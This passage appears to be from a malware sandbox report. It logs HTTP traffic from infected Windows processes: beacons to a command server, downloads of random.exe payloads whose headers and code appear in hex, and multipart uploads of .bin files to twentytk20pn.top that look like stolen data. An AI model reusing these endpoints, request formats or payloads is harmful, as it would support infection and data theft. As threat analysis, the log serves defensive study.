Dec 19, 2024 08:09:38.608897924 CET	224	IN	Data Raw: 2f 97 dc 1f 64 d1 e3 d9 46 2f da 02 4d 74 a5 b5 bb 9d a7 8a 9d 77 a5 1f 27 65 14 15 c9 64 0d 4f 90 ea db bf 92 d5 da 85 59 4e 37 11 a3 c0 32 dc 1e 9d 8e 11 46 69 9c 50 ac 7a 9d 23 35 1d 96 06 90 23 d3 52 a7 63 b1 1d 3d f3 7b 24 c5 8c a3 a8 5a 53 Data Ascii: /dF/Mtw'edOYN72FiPz#5#Rc={$ZSS\i<do>!\~YHm$)bwE&TND"ou j%nnd7}q\$T>[&xl_C'cniy,c0c_i$L4su<
Dec 19, 2024 08:09:38.608907938 CET	1236	IN	Data Raw: 54 7b 18 20 5f 0d ac 58 52 7d 22 8b 5f 2a e4 21 e8 0d 31 4e f5 7b fb 9d ef d4 e1 f5 30 2f a6 12 5c da 06 09 8c d5 46 25 2f 00 a3 0c 3e e0 7b fa 87 89 a2 95 61 c9 87 99 5b d2 fd 2b c9 50 94 f2 68 48 38 a0 7d 51 1a af 5f 59 37 aa f8 37 9b c3 1d 93 Data Ascii: T{ _XR}"_!1N{0/\F%/>{a[+PhH8}Q_Y772@EvB+3c%}&2rpY-vG$^pLWe1i,SYfM]p)~mu-=t w.:ueTVreS%X`>5\}Tm;:Habq:jW.s6C]
Dec 19, 2024 08:09:38.609011889 CET	1236	IN	Data Raw: f5 c7 fb dc 96 20 69 d0 7c 7b 26 1f 81 51 43 84 65 e1 17 16 68 6a 43 f7 8d 52 21 02 0b 3e 44 86 30 96 2b 21 b6 e3 2f e1 5a 23 8b 1f 2d 68 92 c8 8e 13 88 e9 40 4a 1b b9 80 d8 0a ac 7b 6f d5 21 47 56 0a a4 b2 4e 78 60 92 22 8e 94 76 42 b2 b3 5f 4a Data Ascii: i\|{&QCehjCR!>D0+!/Z#-h@J{o!GVNx`"vB_J2--0:<hf^vy+<Kgmy6\|.>y8u?vwuIcyX-=Yl(ME2>j]ceS&mTc!wC.4Q`
Dec 19, 2024 08:09:38.609030962 CET	1236	IN	Data Raw: 16 3c 77 97 6d 30 7b c4 c0 13 ba 0d 20 9a 21 83 77 2d d9 2c fa da cd 1a 9c e0 2b 11 86 f4 95 6a 50 9e d4 6c a7 66 15 73 c8 a3 f5 f9 74 60 d7 1d a4 a4 c0 c3 58 66 17 85 45 3c d3 c8 67 96 27 90 81 e8 dc 22 6e 12 44 f2 6f 7e 07 04 4e 15 b0 0f d1 08 Data Ascii: <wm0{ !w-,+jPlfst`XfE<g'"nDo~N4dae)}de5]XE%[F=6T:/!K~MFB%@ZA=P?^3mdmK-k.'IlfgK9vb5_2v%6;v+VkD87vf"
Dec 19, 2024 08:09:38.609061956 CET	1236	IN	Data Raw: 74 e3 9b 0b 86 11 15 5d 01 9c 24 90 9e 2b 5c 2a a9 fb 42 a5 1c df 36 f1 38 cc 70 43 d2 30 fb 3d 54 55 b8 b1 e3 df 27 91 85 4d 60 1d 8e ef ac 24 3e 56 bb 55 41 8a b2 94 2f 4b b6 e8 17 2a 2e ec aa 71 12 21 31 e6 4a c8 99 39 32 46 48 0d 23 ad 61 a9 Data Ascii: t]$+\B68pC0=TU'M`$>VUA/K.q!1J92FH#ab~`{va1[IF`VFeA#.kA3L"?gLD]4wD7eLMo3?P^>J'GVH7I&9hW [KrY'ddt=5R/S:PCSBd5
Dec 19, 2024 08:09:38.728764057 CET	1236	IN	Data Raw: d9 f4 87 72 fe da 16 da 9d a2 84 3d 84 98 54 57 3d 4c df 2d 3e 6e 52 91 45 af 5a 02 f9 bd 2c fa dd 2a a7 10 dd f4 30 03 bf 6b c7 09 a3 6d 98 08 cb d7 3e 51 85 0a 47 28 c7 f7 73 4a 36 ad 96 fc 7c 06 19 c5 67 a4 49 35 5e cc 4e c2 26 37 ee 57 85 23 Data Ascii: r=TW=L->nREZ,*0km>QG(sJ6\|gI5^N&7W#;[s`4<)s%JmQDm<VB,e7K;^xT/ET5;Gd8,9!!<RyT3V3OYZm^/eWpyXK:eq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49909	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:45.610517025 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017425001&unit=246122658369
Dec 19, 2024 08:09:46.958885908 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49918	185.215.113.16	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:47.090693951 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 19, 2024 08:09:48.426357031 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:47 GMT Content-Type: application/octet-stream Content-Length: 2869248 Last-Modified: Thu, 19 Dec 2024 06:20:24 GMT Connection: keep-alive ETag: "6763bb28-2bc800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 00 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 4f 00 00 04 00 00 6a 26 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(O@0Oj&,@M$a$$ $h@.rsrc$x@.idata $z@oiorywlp0$&\|@yzgbcaqsN+@.taggant0O"+@
Dec 19, 2024 08:09:48.426415920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:48.426428080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:48.426455975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:48.426500082 CET	1236	IN	Data Raw: 5b 83 0f c7 19 4b 2a a2 58 46 eb db 4b 0e 4e 81 9d 2a 82 b4 19 16 45 4b a2 0e 0a e4 bd 8a 72 b0 89 c8 7a 59 9a d0 62 81 7e 74 51 05 78 e0 4c 57 12 ee 52 5b 16 9e 42 97 4d 0e b6 73 e3 31 ba 63 5d 02 ae 6c 55 8c 72 5b 5b 26 46 f3 a5 2e 82 5b 98 e1 Data Ascii: [KXFKNEKrzYb~tQxLWR[BMs1c]lUr[[&F.[Mij&kKDG^VVZC0N^uJ\KESIQuoDVRTb1ff<LZ4}]~Pf+\|y3K+JW2:]X1E)(K
Dec 19, 2024 08:09:48.426512003 CET	1236	IN	Data Raw: b7 f6 4c 1f bc 1e 77 a2 5c 01 01 f6 21 55 d7 ca 68 36 ce 12 8b ee 99 4b c3 ef a9 28 8c 3e 3d 6a d6 68 83 15 85 6f ed 8b 66 73 aa da f1 77 82 80 ae b3 83 31 e4 57 29 8b 82 ab 84 42 6b 00 5c c8 c5 79 4f 3b 05 9f 83 e5 6d 91 4c d0 4d 6e 82 c7 0c 0f Data Ascii: Lw\!Uh6K(>=jhofsw1W)Bk\yO;mLMn?pl2C<~$E:MAAM@. rn:(>x3F{k]J)c:.<S{sDVJZNOhxZQO`i`F&t#D,opn=Iq
Dec 19, 2024 08:09:48.426522017 CET	1236	IN	Data Raw: 5c 7b 7a c7 b7 96 ab 2c 05 38 84 53 8d 29 cb 41 88 aa 9b d4 5c 99 f2 5e 4c 48 32 52 da 0e ae dc 75 e8 97 26 c4 46 da 55 f2 8a a8 54 02 4d c6 9a 8f e4 04 5a 86 36 1e b7 6c 3a 39 5e fc ca 92 5c 44 2e 9c 50 d2 99 a2 df b7 c0 52 bb b7 06 5a c7 a1 81 Data Ascii: \{z,8S)A\^LH2Ru&FUTMZ6l:9^\D.PRZBE-{QJ\HO;UH=nZ lt(>:R"jB<<DHy~JA9oRZfr:/<'WDUWs:sNFbHR^
Dec 19, 2024 08:09:48.426713943 CET	1236	IN	Data Raw: 86 53 9c bf 3b 22 e2 cf 04 af 82 58 3b 8f e6 89 4d 3c 9a e0 05 b9 41 46 85 66 82 56 1e 4d 6a 4b 60 93 2b c4 8d 39 4a 5a 3a 8a 48 57 a5 68 7b 57 d6 3c ab 08 85 3e 01 d3 41 ba 63 ab fd 3c 48 7f 8c a6 07 aa 57 73 82 54 a1 b5 a2 e2 4d 7a 7b a3 39 48 Data Ascii: S;"X;M<AFfVMjK`+9JZ:HWh{W<>Ac<HWsTMz{9HZB]HEL]HPvJ:R<BFY,+U*"yHUj]+U$.~$X<`;e.Q:6zbMFHr_zH.JL2v8%J2x[<HcV
Dec 19, 2024 08:09:48.426726103 CET	1236	IN	Data Raw: fa 01 cb cd 8b 7d 9b 50 5a a4 8e 56 8e 52 4e 2f 05 4e b5 8a f6 0e a2 b8 09 5a 9c a3 39 3d a3 c5 03 56 9c 4c 4e 8a d2 ce 45 3b 43 46 6a 76 97 56 3d 0e 96 ca 03 15 81 c5 c4 8d 65 f3 83 31 72 98 3d 31 4f 67 8b b5 0a c6 b7 8e 42 ac 01 ba c4 55 06 86 Data Ascii: }PZVRN/NZ9=VLNE;CFjvV=e1r=1OgBUNLM,([ZlN0U(xHcGRWHJYONq.~[Y&NBPNVG_[dlS~T(NXhZJ J2"
Dec 19, 2024 08:09:48.426734924 CET	1236	IN	Data Raw: 69 3c 9a c0 19 12 06 86 87 08 2d fd a5 ba 93 82 31 39 76 c9 8b e5 8b b2 8f aa 0e 55 2e 28 f2 c1 ae ff 8b db c1 d2 4b 52 7e 85 8e c6 56 3d 9c 64 dc 09 b8 bc c9 8a a6 18 bb 7a 0f 81 22 28 9c 60 8c e2 82 64 3c 48 1f 4b 8b 86 21 c3 b7 0e 47 cb b9 85 Data Ascii: i<-19vU.(KR~V=dz"(`d<HK!G(^]GQRMlpKHZHYG$")<rVUJD<H0rNyTx)rW2'JH&)z!I]<[NOUvHH<KPH?)E\I"^Z*u
Dec 19, 2024 08:09:48.546040058 CET	1236	IN	Data Raw: bd 00 6c 14 ef 71 91 94 b1 f8 04 90 43 7e 02 8e 4c da 46 5d a2 7c dd 6d 03 24 95 00 08 5c a8 90 80 37 9e 96 00 e4 ab 4d 59 9c bb be ef fc 45 6d 8c 19 ab 0a 75 34 6e 13 4d bc ab a0 88 8d 96 c4 51 ea 3e 91 0f 49 c2 3f 85 af df 87 29 20 6e db e9 01 Data Ascii: lqC~LF]\|m$\7MYEmu4nMQ>I?) nK(#r=7.XSKz&\d'jQ;%ybrEt`'2 ;nS?S(MZiKt..T702-{<0.Hy50[WdIe%%[6tX)#g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49945	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:55.511331081 CET	647	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------xvEXPKdsgLaibBqWUp4Bsl Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 78 76 45 58 50 4b 64 73 67 4c 61 69 62 42 71 57 55 70 34 42 73 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 79 61 7a 6f 6e 69 72 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 12 5d a8 52 9b 49 a6 e7 8c 3c c7 64 72 cb 24 ac 67 06 71 89 97 6c 2a 0f c6 e7 c7 1b 04 bf f1 3e 1d 78 ad 23 ee 7e 62 b7 4f e9 6c 50 b3 bf 93 ad ea 3d 29 aa c7 b1 36 72 b6 c8 de 38 c5 aa 54 d5 ad 2c 70 91 98 b3 7b d3 1e 13 21 8e 0b d3 87 72 f0 11 b1 3f 9b fd 15 83 f5 65 db 15 03 bb 02 1b cf 87 f3 7e a0 70 f5 cb 95 58 fd df 25 ac 5b 6b 75 77 bf 67 9a 15 fd e3 c1 60 70 06 2a 9a 00 38 fc 84 33 40 fb f2 33 0d ea 39 d2 00 de 8a f5 3d 79 1d 6b 86 76 25 a0 ae c8 f7 7e ce 4f 1b 1c 9d a9 a2 f3 ce e5 46 2b 19 38 26 0a 11 4b 13 59 [TRUNCATED] Data Ascii: --------------------------xvEXPKdsgLaibBqWUp4BslContent-Disposition: form-data; name="file"; filename="Rayazonir.bin"Content-Type: application/octet-stream]RI<dr$gql>x#~bOlP=)6r8T,p{!r?e~pX%[kuwg`p83@39=ykv%~OF+8&KY(]7hreP5W7LCu3C@m.#'--------------------------xvEXPKdsgLaibBqWUp4Bsl--
Dec 19, 2024 08:09:56.973403931 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 07:09:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 17 X-RateLimit-Reset: 1734593215 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49946	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:55.699261904 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017426001&unit=246122658369
Dec 19, 2024 08:09:57.038367987 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49949	185.215.113.16	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:57.275465965 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 19, 2024 08:09:58.506840944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:57 GMT Content-Type: application/octet-stream Content-Length: 969216 Last-Modified: Thu, 19 Dec 2024 06:18:18 GMT Connection: keep-alive ETag: "6763baaa-eca00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9b ba 63 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1a 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELcg"w@ @@@d\|@^u4@.text `.rdata@@.datalpH@.rsrc^@`@@.relocuvT@B
Dec 19, 2024 08:09:58.506879091 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 19, 2024 08:09:58.506890059 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 19, 2024 08:09:58.506970882 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 19, 2024 08:09:58.506982088 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 19, 2024 08:09:58.506992102 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 19, 2024 08:09:58.507004976 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 19, 2024 08:09:58.507178068 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 19, 2024 08:09:58.507190943 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 19, 2024 08:09:58.507196903 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 19, 2024 08:09:58.627048016 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49956	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:58.473282099 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 91210 Content-Type: multipart/form-data; boundary=------------------------vXFR7b42N8vufW7VaHaqDu Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 76 58 46 52 37 62 34 32 4e 38 76 75 66 57 37 56 61 48 61 71 44 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 67 65 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c4 1f 91 cd 75 16 fa 10 8c b4 b3 9a a6 cc 2e c3 7c 1d be e5 b0 18 48 67 d4 af 5b e3 c5 f4 4e f6 86 b7 85 1d 53 68 cb 54 a8 3f d0 de 48 f9 19 50 f8 3b f3 b0 07 b8 ef cb a6 99 c1 ec cf da 3b 8b b5 f7 e3 44 c2 11 73 c2 c7 a7 f1 9b db 55 ed ba ee d7 30 f8 aa 27 e7 fa c4 60 8b 36 4b d1 c0 6f f0 9a c9 e9 06 39 d6 6e b8 c8 2d e0 d3 2f cc 8b a0 26 c2 9a 98 54 71 41 77 46 1f a4 43 92 cb 3c 5c 57 f1 7e b1 13 61 c9 24 a7 3a a3 e6 55 b0 8a a1 30 79 3c 5e c2 4a f5 a3 be 51 df 30 33 61 38 dd 4a ea da 5f e0 2d 59 29 f7 07 64 e0 8e a9 65 1c 82 [TRUNCATED] Data Ascii: --------------------------vXFR7b42N8vufW7VaHaqDuContent-Disposition: form-data; name="file"; filename="Wegeva.bin"Content-Type: application/octet-streamu.\|Hg[NShT?HP;;DsU0'`6Ko9n-/&TqAwFC<\W~a$:U0y<^JQ03a8J_-Y)delu!%W)D=`Sq%[zssFIg{>?VK+84.7I.2'\|@rPv{fp6a&JzO3PDVB=H(fEJ"P1dtj):(g;9cTLN]YU(qq?25T!#pV-}B8'#OD'nTrC#2So[9Wjg4-B(!GlBqRhM@qHlw1FJws<898&0MVMLK(tUK6Rl]3!!!"?tIJE~Y<SBp%HJ$(jemriSFzm:A-\|v@VY8V/m.pv@CR;$,rVD1{="`WdFgpS9~UW28hPcW{]J"z!\]Rn\UVH)MScO[(G?X''ZFHJI3X 3`QC [TRUNCATED]
Dec 19, 2024 08:09:58.593046904 CET	4944	OUT	Data Raw: 16 5a 19 ec bf ae df c6 f6 15 64 40 7d 53 7e ac 25 e5 1c 55 9e c1 35 a4 78 35 e9 4a 3a 2a 54 f8 50 d1 e1 e3 56 6e ad d8 56 35 d7 06 1a d3 65 b0 e5 bb 82 23 74 d5 30 ee 14 cc eb c3 47 0a b3 30 df 6e 85 44 8d 72 cf 76 d7 6b 17 9d 1a 82 5b 40 26 4f Data Ascii: Zd@}S~%U5x5J:TPVnV5e#t0G0nDrvk[@&ON~V_`B[+Wqq)>4.p^Azk\ }cG>kE24VIa]@nW$T/W]2RSb/ke&Bvr&3VTZsc,1*
